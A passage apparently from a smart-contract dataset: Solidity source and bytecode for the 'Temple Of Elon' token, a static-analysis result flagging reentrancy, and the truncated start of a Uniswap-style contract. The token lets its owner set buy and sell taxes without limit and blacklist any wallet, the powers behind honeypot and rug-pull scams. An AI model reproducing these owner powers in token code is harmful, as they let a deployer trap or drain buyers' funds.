function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TempleOfElon is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Temple Of Elon";
string private constant _symbol = "TEMPLE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxBuyAmount = _tTotal;
uint256 private _maxHoldAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxHoldAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x7CB401Ea9396C72934aDBb60FECC0B6Dd034b6A2);
_buyTax = 10;
_sellTax = 10;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
_isExcludedFromFee[address(0xdead)] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount <= _maxBuyAmount);
require(amount.add(walletBalance) <= _maxHoldAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxBuyAmount = 10000000 * 10**9;
_maxHoldAmount = 20000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 10000000 * 10**9) {
_maxHoldAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
_sellTax = sellTax;
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
_buyTax = buyTax;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034c578063c3c8cd801461036c578063c9567bf914610381578063dbe8272c14610396578063dc1052e2146103b6578063dd62ed3e146103d657600080fd5b8063715018a6146102ab5780638da5cb5b146102c057806395d89b41146102e85780639e78fb4f14610317578063a9059cbb1461032c57600080fd5b8063273123b7116100f2578063273123b71461021a578063313ce5671461023a57806346df33b7146102565780636fc3eaec1461027657806370a082311461028b57600080fd5b806306fdde031461013a578063095ea7b31461018357806318160ddd146101b35780631bbae6e0146101d857806323b872dd146101fa57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600e81526d2a32b6b836329027b31022b637b760911b60208201525b60405161017a9190611663565b60405180910390f35b34801561018f57600080fd5b506101a361019e3660046116dd565b61041c565b604051901515815260200161017a565b3480156101bf57600080fd5b50670de0b6b3a76400005b60405190815260200161017a565b3480156101e457600080fd5b506101f86101f3366004611709565b610433565b005b34801561020657600080fd5b506101a3610215366004611722565b61047e565b34801561022657600080fd5b506101f8610235366004611763565b6104e7565b34801561024657600080fd5b506040516009815260200161017a565b34801561026257600080fd5b506101f861027136600461178e565b610532565b34801561028257600080fd5b506101f861057a565b34801561029757600080fd5b506101ca6102a6366004611763565b6105ae565b3480156102b757600080fd5b506101f86105d0565b3480156102cc57600080fd5b506000546040516001600160a01b03909116815260200161017a565b3480156102f457600080fd5b5060408051808201909152600681526554454d504c4560d01b602082015261016d565b34801561032357600080fd5b506101f8610644565b34801561033857600080fd5b506101a36103473660046116dd565b610856565b34801561035857600080fd5b506101f86103673660046117c1565b610863565b34801561037857600080fd5b506101f86108f9565b34801561038d57600080fd5b506101f8610939565b3480156103a257600080fd5b506101f86103b1366004611709565b610aec565b3480156103c257600080fd5b506101f86103d1366004611709565b610b1b565b3480156103e257600080fd5b506101ca6103f1366004611886565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610429338484610b4a565b5060015b92915050565b6000546001600160a01b031633146104665760405162461bcd60e51b815260040161045d906118bf565b60405180910390fd5b662386f26fc1000081111561047b5760118190555b50565b600061048b848484610c6e565b6104dd84336104d885604051806060016040528060288152602001611a85602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f8c565b610b4a565b5060019392505050565b6000546001600160a01b031633146105115760405162461bcd60e51b815260040161045d906118bf565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461055c5760405162461bcd60e51b815260040161045d906118bf565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105a45760405162461bcd60e51b815260040161045d906118bf565b4761047b81610fc6565b6001600160a01b03811660009081526002602052604081205461042d90611000565b6000546001600160a01b031633146105fa5760405162461bcd60e51b815260040161045d906118bf565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066e5760405162461bcd60e51b815260040161045d906118bf565b600f54600160a01b900460ff16156106c85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045d565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561072d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075191906118f4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c291906118f4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561080f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083391906118f4565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610429338484610c6e565b6000546001600160a01b0316331461088d5760405162461bcd60e51b815260040161045d906118bf565b60005b81518110156108f5576001600660008484815181106108b1576108b1611911565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ed8161193d565b915050610890565b5050565b6000546001600160a01b031633146109235760405162461bcd60e51b815260040161045d906118bf565b600061092e306105ae565b905061047b81611084565b6000546001600160a01b031633146109635760405162461bcd60e51b815260040161045d906118bf565b600e546109839030906001600160a01b0316670de0b6b3a7640000610b4a565b600e546001600160a01b031663f305d719473061099f816105ae565b6000806109b46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a419190611958565b5050600f8054662386f26fc1000060105566470de4df82000060115563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ac8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047b9190611986565b6000546001600160a01b03163314610b165760405162461bcd60e51b815260040161045d906118bf565b600b55565b6000546001600160a01b03163314610b455760405162461bcd60e51b815260040161045d906118bf565b600c55565b6001600160a01b038316610bac5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045d565b6001600160a01b038216610c0d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045d565b6001600160a01b038216610d345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045d565b60008111610d965760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045d565b6001600160a01b03831660009081526006602052604090205460ff1615610dbc57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610dfe57506001600160a01b03821660009081526005602052604090205460ff16155b15610f7c576000600955600c54600a55600f546001600160a01b038481169116148015610e395750600e546001600160a01b03838116911614155b8015610e5e57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e735750600f54600160b81b900460ff165b15610eae576000610e83836105ae565b9050601054821115610e9457600080fd5b601154610ea183836111fe565b1115610eac57600080fd5b505b600f546001600160a01b038381169116148015610ed95750600e546001600160a01b03848116911614155b8015610efe57506001600160a01b03831660009081526005602052604090205460ff16155b15610f0f576000600955600b54600a555b6000610f1a306105ae565b600f54909150600160a81b900460ff16158015610f455750600f546001600160a01b03858116911614155b8015610f5a5750600f54600160b01b900460ff165b15610f7a57610f6881611084565b478015610f7857610f7847610fc6565b505b505b610f8783838361125d565b505050565b60008184841115610fb05760405162461bcd60e51b815260040161045d9190611663565b506000610fbd84866119a3565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f5573d6000803e3d6000fd5b60006007548211156110675760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045d565b6000611071611268565b905061107d838261128b565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110cc576110cc611911565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611125573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114991906118f4565b8160018151811061115c5761115c611911565b6001600160a01b039283166020918202929092010152600e546111829130911684610b4a565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111bb9085906000908690309042906004016119ba565b600060405180830381600087803b1580156111d557600080fd5b505af11580156111e9573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061120b8385611a2b565b90508381101561107d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045d565b610f878383836112cd565b60008060006112756113c4565b9092509050611284828261128b565b9250505090565b600061107d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611404565b6000806000806000806112df87611432565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611311908761148f565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134090866111fe565b6001600160a01b038916600090815260026020526040902055611362816114d1565b61136c848361151b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113b191815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113df828261128b565b8210156113fb57505060075492670de0b6b3a764000092509050565b90939092509050565b600081836114255760405162461bcd60e51b815260040161045d9190611663565b506000610fbd8486611a43565b600080600080600080600080600061144f8a600954600a5461153f565b925092509250600061145f611268565b905060008060006114728e878787611594565b919e509c509a509598509396509194505050505091939550919395565b600061107d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f8c565b60006114db611268565b905060006114e983836115e4565b3060009081526002602052604090205490915061150690826111fe565b30600090815260026020526040902055505050565b600754611528908361148f565b60075560085461153890826111fe565b6008555050565b6000808080611559606461155389896115e4565b9061128b565b9050600061156c60646115538a896115e4565b905060006115848261157e8b8661148f565b9061148f565b9992985090965090945050505050565b60008080806115a388866115e4565b905060006115b188876115e4565b905060006115bf88886115e4565b905060006115d18261157e868661148f565b939b939a50919850919650505050505050565b6000826115f35750600061042d565b60006115ff8385611a65565b90508261160c8583611a43565b1461107d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045d565b600060208083528351808285015260005b8181101561169057858101830151858201604001528201611674565b818111156116a2576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461047b57600080fd5b80356116d8816116b8565b919050565b600080604083850312156116f057600080fd5b82356116fb816116b8565b946020939093013593505050565b60006020828403121561171b57600080fd5b5035919050565b60008060006060848603121561173757600080fd5b8335611742816116b8565b92506020840135611752816116b8565b929592945050506040919091013590565b60006020828403121561177557600080fd5b813561107d816116b8565b801515811461047b57600080fd5b6000602082840312156117a057600080fd5b813561107d81611780565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117d457600080fd5b823567ffffffffffffffff808211156117ec57600080fd5b818501915085601f83011261180057600080fd5b813581811115611812576118126117ab565b8060051b604051601f19603f83011681018181108582111715611837576118376117ab565b60405291825284820192508381018501918883111561185557600080fd5b938501935b8285101561187a5761186b856116cd565b8452938501939285019261185a565b98975050505050505050565b6000806040838503121561189957600080fd5b82356118a4816116b8565b915060208301356118b4816116b8565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561190657600080fd5b815161107d816116b8565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561195157611951611927565b5060010190565b60008060006060848603121561196d57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561199857600080fd5b815161107d81611780565b6000828210156119b5576119b5611927565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a0a5784516001600160a01b0316835293830193918301916001016119e5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a3e57611a3e611927565b500190565b600082611a6057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a7f57611a7f611927565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204285e7f42cf70760daa7c7b0c0dcaff18fc03a67c2378e7399b9a4c2d9f4e3a464736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,764 |
0xb1543a8530064c4ac5b3f799f5d4a7d0978c8a82
|
pragma solidity = 0.6.6;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
